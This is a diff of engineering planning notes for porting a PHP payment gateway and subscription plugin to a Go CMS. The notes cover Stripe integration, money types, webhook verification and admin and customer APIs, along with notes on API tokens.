+- `modules/bouncer/jwt.go`: `NewBackendJWTGuard` (:94), `Authenticate` (:106), `bearerToken` (:314). The JWT path stays as-is behind the composite guard.
+- `modules/cabana/auth.go`: `BackendUsers.FindByID` (:40) and `principalFrom` (:103). These are the owner-loading path, already merging role and user grants.
+- `modules/cabana/contracts.go`: `Allows` (:186) and `requiredOf` (:237). This is where scope intersection lands (D-14).
+- `modules/wristband/crypto.go:26-31`: `sha256Hex` and a constant-time compare.
+- `modules/cabana/commands.go`: `admin:create` (:18) and `admin:reset-password` (:107). The new `admin:token:*` commands go beside them.
+- `modules/cabana/account.go` plus `admin/src/views/AccountView.vue`: the existing account API and page that host the tokens panel.
+
+### Established Patterns
+- Plugin capabilities are optional pact interfaces compiled by cabana at boot (`modules/pact/capabilities.go:494` `HasPermissions`, compiled in `modules/cabana/registry.go:182-200`). `HasTokenScopes` follows the same path, including fail-loud validation.
+- Framework-owned migrations are raw-SQL entries appended to `BackendAdminMigrations` (`modules/lagoon/backend_admin_migrations.go:21`).
+- Admin API handlers carry swag annotations; SPA types are generated from OpenAPI.
+- Permission checks happen in handlers, not in route middleware, which is why the scope check belongs in `Allows` and not in per-route annotations.
+
+### Integration Points
+- `modules/cabana/http.go:145-159`: where the `backend` guard is built and registered. The composite guard wraps it here.
+- `modules/bouncer/registry.go:73-113`: `Registry.Middleware` already prefers `CredentialGuard`, so the token row arrives as the credential.
+- `modules/cabana/http.go:245-249`: `/auth/me` and the `/account` routes. The token endpoints and the interactive-only marker go here.
+- `../sm-journal-plugin/controllers/api/auth.go`: `newBackendGuard` (:58), `requireBackendPrincipal` (:99) and `requireAccessPosts` (:113) switch to the cabana resolver (D-15). `posts.go` Index/Show `optionalBackendPrincipal` (:32, :121) do the same.
+- `../sm-journal-plugin/admin_permissions.go:9`: the permission catalog the `journal` scopes map onto.
+
+### Noted during scouting (verify, don't assume)
+- Journal `UploadFeaturedImage` / `DeleteFeaturedImage` (`posts.go:325, :393`) authenticate, but a permission check was not confirmed. Check it while wiring tokens, because a `journal:read` token must not reach them (the method rule covers this, but the permission gap would be a separate bug).
+- Journal's per-user throttle key (`plugin.go:88`) reads `bouncer.User` before any guard runs and likely always falls back to the client IP.
+
+</code_context>
+
+<specifics>
+## Specific Ideas
+
+- Main use case: an agent manages Journal blog posts as a backend author using a `journal`-scoped token. Later, a reporting agent reads Payment Gateway data with `payment:read`.
+- The token panel follows the Apparatus/Winter "My Account → API Tokens" placement.
+- CLI `admin:token:create` output is pipe-friendly (only the token on stdout).
+
+</specifics>
+
+<deferred>
+## Deferred Ideas
+
+- Backend-user management screen, including a superuser view and revoke of other users' tokens: its own phase.
+- `payment:read` scope: registered by the Payment Gateway phase (18.x) through D-01.
+- Fonoteka scopes: when a Fonoteka integration needs token access.
+- Secret-scanner-friendly checksum token format: only if a scanner partnership is pursued.

+# Phase 18: Payment Gateway - Context
+
+**Gathered:** 2026-10-09
+**Status:** Ready for planning
+
+<domain>
+## Phase Boundary
+
+Port `Golem15.PaymentGateway` (about 21k LOC of PHP) and `Golem15.PGStripe` (about 2.5k LOC, minus its subscription parts) to SummerCMS as two shared core plugins, `sm-paymentgateway-plugin` and `sm-pgstripe-plugin`. The port covers:
+- the Payment and Order state machines (exact money)
+- build-time operators (cash, manual transfer, disabled, and Stripe with PaymentIntent and Checkout modes)
+- the `_paymentgateway/{operator}/{mode?}/{result?}` notification route
+- the Order and Payment events and their mails
+- the admin screens and the scheduled commands
+- Quotes, Shippings and Currencies
+- a headless customer order API with a `vue-paymentgateway-layer` Nuxt layer
+
+The phase is proven by a test host inside the plugin that replays the order-create, Stripe-pay and order-paid flow Horoskopia relies on.
+
+Not in this phase: `Golem15.PaymentGatewaySubscriptions` and pgstripe's subscription gateway and webhook (they move to Phase 18.1), and the Horoskopia app port itself.
+
+</domain>
+
+<decisions>
+## Implementation Decisions
+
+### Split, source and acceptance proof
+- **D-01:** **Subscriptions move to a new Phase 18.1.** This covers `Golem15.PaymentGatewaySubscriptions` (Subscription, SubscriptionPlan, the `SubscriptionGateway` contract, the `golem15.pgsub.*` events) together with pgstripe's `StripeSubscriptionGateway`, `ProcessStripeSubscriptionWebhook` job and `POST /webhook/stripe/subscriptions`. Phase 18 ports pgstripe without them. Insert 18.1 into the roadmap after this discussion (`/msd-phase`). — **Reversibility:** reversible — a roadmap split.
+- **D-02:** **The frozen port contract is Horoskopia's checkout:** `paymentgateway` at `4b9ecf9` (2026-06-10, equal to `origin/master`) and `pgstripe` at `8b47457` (`v1.0.1`), read from `/media/nvme/dev/golem15/horoskopia.eu/plugins/golem15/{paymentgateway,pgstripe}`. Planner and researcher must not silently pick a newer `master` (the same rule as P15 D-01/D-02). Binding from that tree: tables and migrations, models, YAML forms/lists/filters, permission codes, event names, config keys, mail template codes, console command names and the notification route. Its `tests/` (unit, functional, security, reliability) are a behavioral spec: map each one to a Go case, and cover them in the last plan. — **Reversibility:** costly — every table, key and event name is copied from this tree.
+- **D-03:** **The proof is a test-only host inside the plugin repo**, not an app repo. It mounts `sm-paymentgateway-plugin`, `sm-pgstripe-plugin` and `sm-user-plugin` with a fake consumer plugin, runs against Postgres via testcontainers, and talks to Stripe through an `httptest` fake behind stripe-go's backend override. There is no `sm-horoskopia-app` in this phase.
+- **D-04:** **The proof exercises both pay paths:**
+  - (a) **Operator path:** `OrderFactory.Make(cart, details, user)` → Stripe operator (PaymentIntent, and Checkout mode per D-16) → signed notification on `_paymentgateway/stripe/...` → Payment `Accepted` → Order `Paid` → `OrderPaid` event and its mail.
+  - (b) **Consumer-driven path:** the app creates its own Checkout Session, receives its own webhook, and moves the order to `Paid` through the plugin's public Order/Payment API. This is what Horoskopia's `BookApiController::pay` and `BookFulfilmentService` do today. Path (b) proves the API surface Horoskopia needs: the state constants (`STATE_PLACED`, `STATE_AWAITINGPAYMENT`, the paid states), the transition methods, `hash_id` lookup and the `OrderPaid` event.
+
+### Feature scope
+- **D-05:** **Port all of paymentgateway 1:1**, including Quotes/Quoteables, Shippings and Currencies with the NBP fields and the `pg:update-currencies` command. It's a shared core plugin with 7 real users, so one schema and migration history serves every app. — **Reversibility:** costly — the tables and migration IDs become the shared contract.
+- **D-06:** **The Winter `Orders` component's successor is a headless customer order API plus a Nuxt layer.**
+  - **API:** a JSON API under `/_paymentgateway/api/v1/` (following the `/_journal/api/v1`, `/_menu` and `/_faq` conventions) mirrors the component's handlers: show order, select payment method, select shipping, process (start payment), cancel, request refund, add/remove piece and remove item.
+  - **Layer:** `vue-paymentgateway-layer`, a new repo under `git.golem15.com/golem15/`, distributed like `vue-journal-layer` (P16 D-02 to D-04: a pnpm git dependency pinned to a tag, a neutral CSS-token design, components the app can override). It ships a typed client and order/checkout/status components covering the PHP state partials.
+  - **Reversibility:** one-way — a published API that apps and the layer consume.
+- **D-07:** **MoneyWidget becomes a generic cabana `money` field type**, built framework first in `summercms.go` (the P15 D-11 / P17 D-06 pattern). It holds an amount in minor units plus a currency, is formatted by locale, and fails loud on schema errors. The module README, `docs/`, admin OpenAPI, generated TS types and committed `dist/` update in the same change. **TaxWidget gets no new type**: it becomes a dropdown or number field over the tax rates. — **Reversibility:** costly — a new field type in the typed admin schema.
+- **D-08:** **Mail templates become postcard Markdown under the PHP template codes** (`golem15.paymentgateway::mail.order.purchased`, `...mail.payment.accepted`, and so on, about 26 of them), with the same variables, in EN and PL only (as P15 D-06). **MailerSettings** ports as a settings page that controls which customer and employee mails are sent. **The SetUp wizard** (which redirects until the base currency is configured) becomes a settings default or a required setting, not a redirecting controller.
+
+### Money
+- **D-09:** **Money is `int64` minor units plus an ISO currency code**, a small value type that mirrors moneyphp (`Money::PLN(3984)`). It needs no new dependency. Arithmetic, allocation and rounding follow moneyphp's behavior, and the currency `ratio` (decimal 8,4) and NBP conversion use exact integer or `math/big` arithmetic, never floats. The researcher decides whether the type lives in the plugin or in `wire` (it goes in `wire` only if it's generic). — **Reversibility:** costly — every model, the cart and the consumer API take this type.
+- **D-10:** **The `decimal(12,4)` / `decimal(10,4)` `*_amount_stored` columns are major units.** The Money type implements an exact `sql.Scanner`/`driver.Valuer` that parses and formats the decimal string with no float (PITFALLS.md #5). Values with more precision than the currency's minor unit are preserved or explicitly rejected, never silently rounded; the researcher checks what PHP actually writes. Unit tests cover the column ceiling and the edge cases.
+- **D-11:** **`cart` and `details` (`mediumText`, JMS-serializer JSON) are read in the legacy shape and written in a versioned Go shape.** The guardrails:
+  1. New rows carry a format version marker (for example `"v": 2`).
+  2. A permanent legacy JMS reader decodes unversioned rows. It's tested against golden fixtures taken from real PHP rows (Horoskopia plus at least one shop-type app with shipping and quotes). Legacy rows are never rewritten in bulk.
+  3. A typed extension registry replaces JMS's `setCartClass`/`setDetailsClass` (subclass-allowlisted, PG-007) and `registerMetadataDirectory`. A plugin registers a named extension type for Item/Details extra data, with explicit JSON tags and no class injection.
+  4. Rollback to PHP is one-way: once Go writes v2 rows, PHP can't read them. Each app cutover treats this as a point of no return and takes a DB backup first.
+  - **Reversibility:** one-way — stored rows in every app's `orders` table.
+
+### Stripe
+- **D-12:** **The Stripe client is the official `github.com/stripe/stripe-go`** (current major, with a pinned API version). This decision names it as an allowed dependency for `sm-pgstripe-plugin`, and 18.1 reuses it. Tests use the SDK's backend override pointed at an `httptest` fake; no test calls the network. — **Reversibility:** reversible — it's isolated in pgstripe.
+- **D-13:** **Stripe keys and secrets live in encrypted settings with a config fallback**, as in PHP `StripeSettings`. The secret key, publishable key and webhook signing secrets are admin settings stored as `lagoon.Encrypted`, with a test/live mode switch and a host-config/`SUMMER_*` env fallback when a setting is empty. The admin form never returns secrets (write-only, like password fields). App cutovers import PHP values with `lagoon.DecryptLaravelPayload`.
+- **D-14:** **Webhook verification keeps PHP's behavior:** `Stripe-Signature` is checked against the mode's signing secret, a missing header or secret is refused with a log entry, and the notification route stays CSRF-free. Behavior of `_paymentgateway/{operator}/{mode?}/{result?}` (any method, `mode`/`modeResult` merged into the input, operator code de-urlized) is preserved, and only registered operators resolve.
+- **D-15:** **Operators register at build time through a Go interface**, the successor of `core/Operator` and the `golem15.paymentgateway.operators` config push in `paymentgateway.booted`. The approach is a `pact`-style capability (or a registry in the paymentgateway plugin) that pgstripe implements. Cash, manual transfer, disabled and Stripe operators ship.
+- **D-16:** **New beyond PHP: a Stripe Checkout mode.** The Stripe operator can create a Checkout Session (hosted page) as well as PaymentIntents, and its notification handling accepts `checkout.session.completed` (and `checkout.session.async_payment_succeeded`) to accept the payment. This is the plugin-level version of what Horoskopia hand-rolls, so its later port can drop that code. Selecting the mode is a setting or a per-order operator option (planner's call). — **Reversibility:** costly — a new operator mode and settings that apps rely on.
+- **D-17:** **The client receives payment data in the process response; there's no separate keys endpoint.** The customer API's process call returns `{redirect_url}` for Checkout mode, and `{client_secret, publishable_key}` (for the active test/live mode) for PaymentIntent mode. `vue-paymentgateway-layer` defaults to Checkout and simply redirects, as `vue-horoskopia-app` does today (`window.location.href = checkout_url`). The Winter `StripeKeys` component is not ported as an endpoint.
+
+### Claude's Discretion
+- Go package, type and identifier names for the operator interface, Money type, extension registry and state-machine types, provided D-09 to D-15 hold.
+- Exact JSON field names and authorization of the customer order API (order hash for guests vs the logged-in user), following the PHP component's checks. The security review covers this.
+- Whether the Money type and the `money` field live in `wire`/cabana or in the plugin, as long as D-07 keeps `money` a cabana core type.
+- How the five daily commands (`pg:update-currencies`, `pg:cancel-created-payments`, `pg:cancel-placed-orders`, `pg:cancel-sent-payments`, `pg:finish-orders`, plus `UpdateOrders` and `UpdateAbstractItem`) are scheduled through conga, keeping the PHP command names.
+- Typed festival event shapes for the 19 Order and 5 Payment events, keeping the PHP event names as their identifiers.
+- Plan count and split, subject to the plan-count checkpoint and "unit tests are the last plan". This phase is large (two plugins, a framework field, a customer API and a Nuxt layer), so expect the framework `money` field first and the layer near the end.
+- Run the security-review agent: the phase handles payments, secrets, a public webhook route and a public customer API.

+## Existing Code Insights
+
+### Reusable Assets
+- `lagoon.Encrypted` (AES-256-GCM at rest, redacted in JSON) and `lagoon.DecryptLaravelPayload` (cutover import): the Stripe secrets (D-13).
+- `postcard`: plugin-owned Markdown mail templates and layouts with memory, log and SMTP drivers (D-08).
+- `conga`: River jobs plus `ScheduledCommandArgs` / the `scheduled` queue for the daily `pg:*` commands.
+- `festival.Bus` (`Fire`, `Collect`, `UntilHandled`): the Order and Payment events.
+- cabana `HasSettings` settings pages, the `dropdown`/`number` fields and `type: password`-style write-only fields: the PG settings, MailerSettings and Stripe settings.
+- `sm-journal-plugin/routes.go`: the `/_x/api/v1` route, limiter and CORS pattern for the customer order API.
+- `vue-journal-layer`: the layer structure for `vue-paymentgateway-layer`.
+- `sm-user-plugin` (mounted in `fonoteka.go/plugins/golem15/user`): the order `user_id` owner and the authenticated customer.
+
+### Established Patterns
+- Core plugins keep PHP table names, columns, migration semantics, permission codes, event names and config keys (non-breaking across the 7 apps), except where D-11 versions the stored cart/details JSON.
+- Framework first: a new cabana field type lands in `summercms.go` with README, `docs/`, OpenAPI, TS types and `dist/` in one change.
+- Framework and plugin READMEs never name a consuming application.
+
+### Integration Points
+- New sibling checkouts `/media/nvme/dev/golem15/summercms.io/summercms/sm-paymentgateway-plugin/` and `.../sm-pgstripe-plugin/`, with module paths `git.golem15.com/golem15/sm-paymentgateway-plugin` and `git.golem15.com/golem15/sm-pgstripe-plugin`, packages `paymentgateway` and `pgstripe`, and plugin IDs `golem15.paymentgateway` and `golem15.pgstripe`. Confirm the remotes exist before the first push.
+- `summercms.go`: the cabana `money` field (D-07), plus anything else missing in the framework that the researcher finds.
+- `vue-paymentgateway-layer`: a new repo, sibling of `vue-journal-layer`.
+
+</code_context>
+
+<specifics>
+## Specific Ideas
+
+- Horoskopia's real checkout flow: it builds `Item(name, 1, Money::PLN(net), vatRate, meta)` → `Cart('PLN')` → `Details([], 'stripe')` with a description, email and return URL → `OrderFactory->make($cart, $details, $user)` → `order hash_id`. Paying creates a hosted Checkout Session, and the frontend redirects to `checkout_url`. The Go API must make this sequence equally short.
+- JMS was chosen for an explicitly mapped value object that each app can extend. That need carries over (D-11, point 3), but the JMS wire format does not.
+- Horoskopia's webhook keeps a separate signing secret per endpoint and per test/live mode. The Stripe settings must allow distinct secrets per mode (D-13).
+
+</specifics>
+
+<deferred>
+## Deferred Ideas
+
+- **Phase 18.1, Payment Gateway Subscriptions:** `Golem15.PaymentGatewaySubscriptions` plus pgstripe's subscription gateway, webhook and job (D-01). Insert it into the roadmap.
+- **Plugin-registered, value-bearing cabana field types** (the successor to Winter `registerFormWidgets`): cabana has a closed field-type set, and `type: widget` is valueless. Captured as `.planning/todos/pending/cabana-plugin-registered-field-types.md` (major, framework). It's needed before porting plugins that ship their own fields.
+
+### Reviewed Todos (not folded)
+- `cabana-richeditor-field-type.md`: already folded into Phase 17 (P17 D-10).
+- `nest-framework-packages-under-modules.md`, `journal-author-profile-fields.md`, `2026-10-01-benchmark-...`, `2026-10-07-translate-messages-as-nuxt-i18n-json-editor.md`, `bonfire-duplicate-command-names.md`, `faq-plugin-port.md`: these matched on keywords only and are unrelated to payments.

+
+**Date:** 2026-10-09
+**Phase:** 18-payment-gateway
+**Areas discussed:** Subscriptions & acceptance, Feature scope of the port, Money representation, Stripe integration shape
+

+
+## Subscriptions & acceptance
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Separate 18.1 | P18 ports paymentgateway and pgstripe without subscriptions; 18.1 ports subscriptions | ✓ |
+| All in Phase 18 | Port all three plugins in one phase | |
+| In 18, as the last wave | Same phase, subscription plans last | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Test host in the plugin | Test-only host with a fake consumer, testcontainers Postgres, Stripe httptest fake | ✓ |
+| Skeleton sm-horoskopia-app | Start the Horoskopia Go app now | |
+| Existing app (summercms.io) | Mount in sm-summercmsio-app | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Both paths | Operator PaymentIntent path plus the consumer-driven Checkout path | ✓ |
+| Operator path only | | |
+| Consumer path only | | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Horoskopia's checkout | pg 4b9ecf9, pgstripe 8b47457 v1.0.1 | ✓ |
+| Latest origin/master at plan time | | |
+| Starter 'upgrade' branch | 96b6aa6 (older) | |
+
+**Notes:** We found that Horoskopia creates Stripe Checkout Sessions itself and handles its own webhook, beside the PaymentIntent-based operator.
+
+---
+
+## Feature scope of the port
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Port all 1:1 | Quotes, Shippings, Currencies with NBP included | ✓ |
+| Schema 1:1, features later | | |
+| Horoskopia subset only | | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Headless customer order API | /_paymentgateway/api/v1 mirroring the Orders component handlers | |
+| Defer, Go API only | | |
+| API plus a Nuxt layer | API plus vue-paymentgateway-layer | ✓ |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Generic cabana `money` field | Framework first; TaxWidget becomes a dropdown/number | ✓ |
+| Both as cabana field types | | |
+| Plugin-local SPA widgets | | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Postcard Markdown, same keys | EN+PL; MailerSettings as a settings page; SetUp wizard as a settings default | ✓ |
+| Keep HTML bodies verbatim | | |
+| You decide | | |
+
+**Notes:** The user asked whether cabana lets plugins register their own field types, as WinterCMS does. It doesn't: the type set is closed, and `type: widget` is valueless. This was captured as the major todo `cabana-plugin-registered-field-types.md`, since plugins to be ported soon ship their own fields.
+
+---
+
+## Money representation
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| int64 minor units + currency | Mirrors moneyphp, no new dependency | ✓ |
+| shopspring/decimal | New dependency | |
+| You decide | | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Byte-compatible JMS shape | Rollback to PHP stays possible | |
+| Read PHP shape, write a Go shape | Tolerant legacy reader, new Go shape | ✓ (with guardrails) |
+| Migrate on import | | |
+
+**User's choice:** "There was a reason we picked JMS serializer. I'd go with 2, if it's safe and correct for the future of this payment plugin." After the JMS rationale was explained (app-swappable Cart/Details subclasses, metadata dirs), the user confirmed option 2 with four guardrails: a versioned v2 shape, a permanent legacy reader with golden fixtures, a typed extension registry replacing setCartClass and metadata, and one-way rollback documented. A rewrite migration and the byte-compatible fallback were offered and not chosen.
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Exact scanner/valuer | decimal(12,4) major units ↔ int64 minor, no float | ✓ |
+| You decide | | |
+
+---
+
+## Stripe integration shape
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| stripe-go official SDK | Named as the decided dependency | ✓ |
+| Hand-rolled net/http client | | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| No, port the operator 1:1 | Checkout mode deferred | |
+| Yes, add a Checkout mode | New behavior beyond PHP | ✓ |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Encrypted settings + config fallback | lagoon.Encrypted, test/live, write-only, Laravel decrypt on import | ✓ |
+| Config/env only | | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Process response, Checkout first | redirect_url or client_secret+publishable_key | ✓ |
+| Checkout only in the layer | | |
+| Separate keys endpoint | | |
+
+**Notes:** The user asked how Horoskopia handled keys without Winter components. It never needed the publishable key: the backend returns `checkout_url` and the Nuxt app redirects (`vue-horoskopia-app/app/stores/book.ts`).

+
+## Claude's Discretion
+
+- Identifier names, the customer API's JSON field names and authorization details, where the Money type lives, the conga scheduling of the `pg:*` commands, typed event shapes, plan count and split, and whether to run the security review (yes).

+# Phase 18.1: Payment Gateway Subscriptions - Context
+
+**Gathered:** 2026-10-09
+**Status:** Ready for planning
+
+<domain>
+## Phase Boundary
+
+Port the generic core of `Golem15.PaymentGatewaySubscriptions` (about 5.5k LOC of PHP) to a new shared plugin, `sm-paymentgatewaysubscriptions-plugin`. Also port pgstripe's subscription parts (`StripeSubscriptionGateway`, `ProcessStripeSubscriptionWebhook`, `POST /webhook/stripe/subscriptions`), which Phase 18 left out (P18 D-01), into a subpackage of `sm-pgstripe-plugin`. The port covers:
+- the `Subscription` and `SubscriptionPlan` models, with their statuses, scopes and access, grace-period and feature checks
+- the gateway-neutral `SubscriptionGateway` contract, including `syncPlanToGateway`, with a Stripe implementation
+- polymorphic subscribers through a build-time registry
+- the six `golem15.pgsub.*` events
+- the subscription webhook (its canonical URL and the legacy alias) processed through a conga job with idempotency
+- the admin screens for subscriptions and plans
+- a Go service API, a generic headless customer API, and subscription components added to `vue-paymentgateway-layer`
+
+It is proven, as in P18 D-03, by the test host inside the plugin repo.
+
+Not in this phase: Quotify's lead fees and metered billing, featured placements and quote analytics (they go to Quotify's own port), a Google Play gateway implementation, and the Horoskopia app port, including its own `plans` and `my/subscription*` routes.
+
+</domain>
+
+<decisions>
+## Implementation Decisions
+
+### Source and core scope
+- **D-01:** **The frozen port contract is `paymentgatewaysubscriptions` at `ac3d73c` (Horoskopia's `develop`) plus commit `5fb9dac`.** That commit is on `origin/feature/qs-update`, used by QuestStream, and not merged. It adds `syncPlanToGateway(SubscriptionPlan): array<currency, priceId>` to the `SubscriptionGateway` contract. Read the source from `/media/nvme/dev/golem15/horoskopia.eu/plugins/golem15/paymentgatewaysubscriptions` and run `git show 5fb9dac` for the extra method. pgstripe stays frozen at `8b47457` (P18 D-02). The P15/P18 frozen-source rule applies: do not silently pick a newer tree or another app's copy (quotify.pro, drzewo.net and getaround.world are older). The binding parts are table and column names, event names, config keys, permission codes, the webhook URLs and the subscription status and gateway string values. — **Reversibility:** costly — table, event and key names are copied from this tree into every app's DB and code.
+- **D-02:** **Port only the generic core.**
+  - **Ported:** Subscription, SubscriptionPlan, the `Subscribable` and `SubscriptionGateway` contracts, `HasSubscriptions` behavior (as a Go helper), ProcessedWebhookEvent, the events, the webhook, and the Subscriptions and SubscriptionPlans admin screens.
+  - **Not ported (they move to Quotify's port):** `LeadFeeSubscriber`, `MeterService`, `UsageRecord`, the `default_lead_fee_*` config keys, `FeaturedPlacement` and its admin controller, `AnalyticsService`, the `AnalyticsDashboard` component and `QuotaExceededException`.
+  - **Shared schema:** the tables those features use stay in the schema (D-04), so all apps keep one migration history.
+- **D-03:** **Plan features are opaque string keys.** `Plan.HasFeature(key string)` and `Subscription.HasFeature(key)` work over the stored string list (the v2.4.0 shape). The plugin defines no `FEATURE_*` constants (they belong to QuestStream) and no `hasUnlimitedQuotes` (it belongs to Quotify). Apps declare their own keys in their own packages.
+- **D-04:** **The migrations are one squashed baseline equal to the final PHP schema (v2.4.0).** It includes `golem15_pgsub_subscription_plans`, `golem15_pgsub_subscriptions` (polymorphic `subscriber_type`/`subscriber_id`, `gateway`), `golem15_pgsub_processed_webhook_events`, and the dormant `golem15_pgsub_usage_records` and `golem15_pgsub_featured_placements`. The baseline is idempotent so it adopts an existing PHP database unchanged, as in Phase 5's squashed migrations. Not carried over: the `starter`/`professional`/`premium` seed, the `golem15_quotify_professionals` ALTER and the `professional_id` → polymorphic conversion. The researcher diffs the baseline against a real PHP database, Horoskopia or QuestStream. — **Reversibility:** one-way — the migration ID and table shapes become the shared contract across five apps.
+- **D-05:** **Google Play stays a valid gateway value without an implementation.** The `gateway` column, the `stripe` and `google_play` values and a gateway check (`IsFromGateway`) survive. Only Stripe implements `SubscriptionGateway`. A Google Play gateway would be a separate future plugin.
+
+### Package layout and subscribers
+- **D-06:** **New repo `sm-paymentgatewaysubscriptions-plugin`** (module `git.golem15.com/golem15/sm-paymentgatewaysubscriptions-plugin`, plugin ID `golem15.paymentgatewaysubscriptions`). It requires `golem15.paymentgateway` and `golem15.user`, as PHP's `$require` does. It holds the models, contracts, gateway registry, events, admin, service API and customer API. It contains no Stripe code.
+- **D-07:** **The Stripe subscription gateway lives in a subpackage of `sm-pgstripe-plugin`** (for example `pgstripe/subscriptions`). The subpackage imports pgsub, implements `SubscriptionGateway`, and registers the webhook route and job. Apps that don't import the subpackage don't link pgsub, so a payments-only app keeps a payments-only binary. It reuses P18's stripe-go client, the pinned API version and the `httptest` backend override (P18 D-12). — **Reversibility:** costly — the import paths become what apps wire in their `plugins.go`.
+- **D-08:** **Subscribers register through a build-time morph registry.** It succeeds the `subscribables` config and `Relation::morphMap`. An app registers a morph alias with a resolver that implements the Go `Subscribable` interface: email, name, get and set customer ID, morph alias and key. pgsub ships a ready `user` subscribable for `sm-user-plugin`, which an app opts into; Horoskopia stores `subscriber_type = 'user'`. Other types, such as Quotify's `professional` and QuestStream's `family`, are registered by their apps. An unknown `subscriber_type` read from the DB fails loudly; it is never silently skipped.
+- **D-09:** **The built-in `user` subscribable stores the gateway customer ID in `users.stripe_customer_id`,** the column Horoskopia's `horoscope` plugin already added. A pgsub migration adds it only if missing (nullable, indexed, idempotent), so Horoskopia's DB adopts it unchanged. App-registered subscribables store the ID wherever their resolver says. — **Reversibility:** costly — a column on the shared `users` table.
+
+### Webhook surface
+- **D-10:** **Two URLs share one handler.** `POST /webhook/stripe/subscriptions` (pgstripe, canonical) and `POST /api/subscriptions/webhook` (the legacy pgsub alias) both reach the same handler, so no Stripe dashboard needs repointing at cutover. Both are CSRF-free and keep PHP's `throttle:60,1` limit. pgsub's deprecated `WebhookController`, `StripeSubscriptionService`, its own `ProcessStripeSubscriptionWebhook` job and `config/stripe.php` are not ported. Commit `0673aa7` already delegated them to pgstripe. — **Reversibility:** one-way — URLs configured in each app's Stripe dashboard.
+- **D-11:** **The handler verifies the event and enqueues a conga (River) job.** It keeps PHP's shape and its STRIPE-006 fix:
+  1. Verify `Stripe-Signature`. A bad signature or payload returns 400 with a log entry.
+  2. Cheap-check `golem15_pgsub_processed_webhook_events`. A duplicate returns 200.
+  3. Enqueue jobs only for the five handled types: `customer.subscription.created`, `customer.subscription.updated`, `customer.subscription.deleted`, `invoice.paid` and `invoice.payment_failed`.
+  4. The job applies the change and inserts the processed-event marker in the same transaction, only on success. A failed job retries without being marked processed.
+- **D-12:** **The subscription webhook signing secret is its own encrypted setting for each mode** (test and live), stored in P18's D-13 Stripe settings (`lagoon.Encrypted`, write-only in the admin) with the `SUMMER_*`/host-config fallback. It is separate from the payment-notification secret, because Stripe issues one secret per endpoint. A missing secret returns 500 with a log entry, as PHP does. App cutovers import the PHP values, `STRIPE_SUBSCRIPTION_WEBHOOK_SECRET`/`STRIPE_WEBHOOK_SECRET` or the PHP setting, through `lagoon.DecryptLaravelPayload` where they are encrypted.
+
+### Customer API and frontend
+- **D-13:** **pgsub ships a typed Go service API and a generic headless customer API.**
+  - **Service API:** active plans, current subscription for a subscriber, checkout session, cancel (at period end or immediately), management-portal session, and access and feature checks. App routes call it; Horoskopia's port keeps its own `plans`, `my/subscription`, `my/subscription/checkout`, `my/subscription/cancel` and `my/subscription/portal` routes, whose response shapes carry app data and are its parity contract.
+  - **Customer API:** a JSON API under `/_paymentgatewaysubscriptions/api/v1/`, following the `/_x/api/v1` convention (P15 D-14, P18 D-06), for the logged-in `user` subscriber. It succeeds Winter's `SubscriptionManager` component. Plans are public; the subscription endpoints require auth.
+  - **Reversibility:** one-way — a published API that apps and the layer consume.
+- **D-14:** **`vue-paymentgateway-layer` (P18 D-06) gets the subscription pieces.** These are a typed subscriptions client plus components for a plans or pricing table, a my-subscription status, and checkout and portal redirects. They use the same distribution (a pnpm git dependency pinned to a tag), neutral CSS tokens and overridable components. There is no separate subscriptions layer repo.
+
+### Claude's Discretion
+- Go package, type and identifier names (registry, `Subscribable`, gateway interface, event types, service API), provided D-06 to D-09 hold. A short package name such as `pgsub` is fine; the plugin ID and table prefix stay as in D-01 and D-04.
+- Typed festival event shapes for the six events (`golem15.pgsub.subscription.activated`, `.canceled`, `.past_due`, `.reactivated`, `golem15.pgsub.invoice.paid` and `.invoice.payment_failed`), keeping the PHP names as identifiers. Horoskopia listens to the four subscription events.
+- The admin screens:
+  - Subscriptions list, filter and form.
+  - SubscriptionPlans list, form and reorder, with the bulk "Sync to Stripe" and "Sync all" actions going through `syncPlanToGateway`.
+  - Editing `currency_prices` and `stripe_prices`: a cabana repeater or key-value field, or P18's `money` field, whichever fits the existing field set.
+  - The `manage_placements` permission code: whether it stays registered or moves with FeaturedPlacement.
+- Plan prices use P18's Money type (D-09 there) at the API boundary, while the stored JSON shapes (`currency_prices`, `stripe_prices`, `price_cents`) stay as PHP writes them.
+- Config keys: `grace_period_days` (default 7) carries over; `subscribables` is replaced by the D-08 registry; the `default_lead_fee_*` keys go with D-02.
+- The proof flows in the test host: checkout → `customer.subscription.created` → `activated` event; `invoice.paid`; `invoice.payment_failed` → `past_due` and the grace period; cancel at period end → `deleted` → `canceled`; reactivation; duplicate-event idempotency; plan sync. Map pgstripe's subscription-related `tests/` (reliability, security/DataHandling) to Go cases in the last plan.
+- Plan count and split, subject to the plan-count checkpoint and "unit tests are the last plan".
+- Run the security-review agent: the phase handles payments, secrets, a public webhook and a customer API.

+- `.planning/seeds/SEED-261007-j2b-horoskopia-port.md`: the later Horoskopia port that consumes this plugin
+
+### PHP port sources (frozen per D-01)
+- `/media/nvme/dev/golem15/horoskopia.eu/plugins/golem15/paymentgatewaysubscriptions/`:

+  - Skip the files D-02 moves to Quotify.
+- `/media/nvme/dev/golem15/horoskopia.eu/plugins/golem15/pgstripe/`: `classes/StripeSubscriptionGateway.php`, `jobs/ProcessStripeSubscriptionWebhook.php`, `http/routes.php`, `http/controllers/StripeWebhookController.php`, `classes/StripeSettings.php` (`getWebhookSecret`), `tests/reliability/`, `tests/security/DataHandlingTest.php`
+- `/media/nvme/dev/golem15/queststream.online/plugins/golem15/queststream/services/EntitlementService.php`: a second consumer of `syncPlanToGateway` and the gateway field (read-only reference)
+
+### Acceptance consumer (read-only reference)
